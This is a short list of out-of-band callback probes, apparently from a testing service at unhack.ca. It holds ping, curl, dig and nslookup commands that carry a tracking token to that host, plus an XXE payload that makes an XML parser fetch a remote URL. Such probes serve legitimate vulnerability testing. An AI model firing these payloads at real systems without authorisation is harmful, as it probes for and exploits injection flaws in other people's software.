$ ping -c1 -p 001d4d5dc9da5f8f245cfb31b3098900 unhack.ca
 

$ curl http://unhack.ca/p/1d4d5dc9da5f8f245cfb31b30989
 

$ dig 1d4d5dc9da5f8f245cfb31b30989 @unhack.ca
 

$ dig 1d4d5dc9da5f8f245cfb31b30989.ns.unhack.ca
 

C:\> nslookup 1d4d5dc9da5f8f245cfb31b30989 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1d4d5dc9da5f8f245cfb31b30989">]>
    <foo>&xxe;</foo>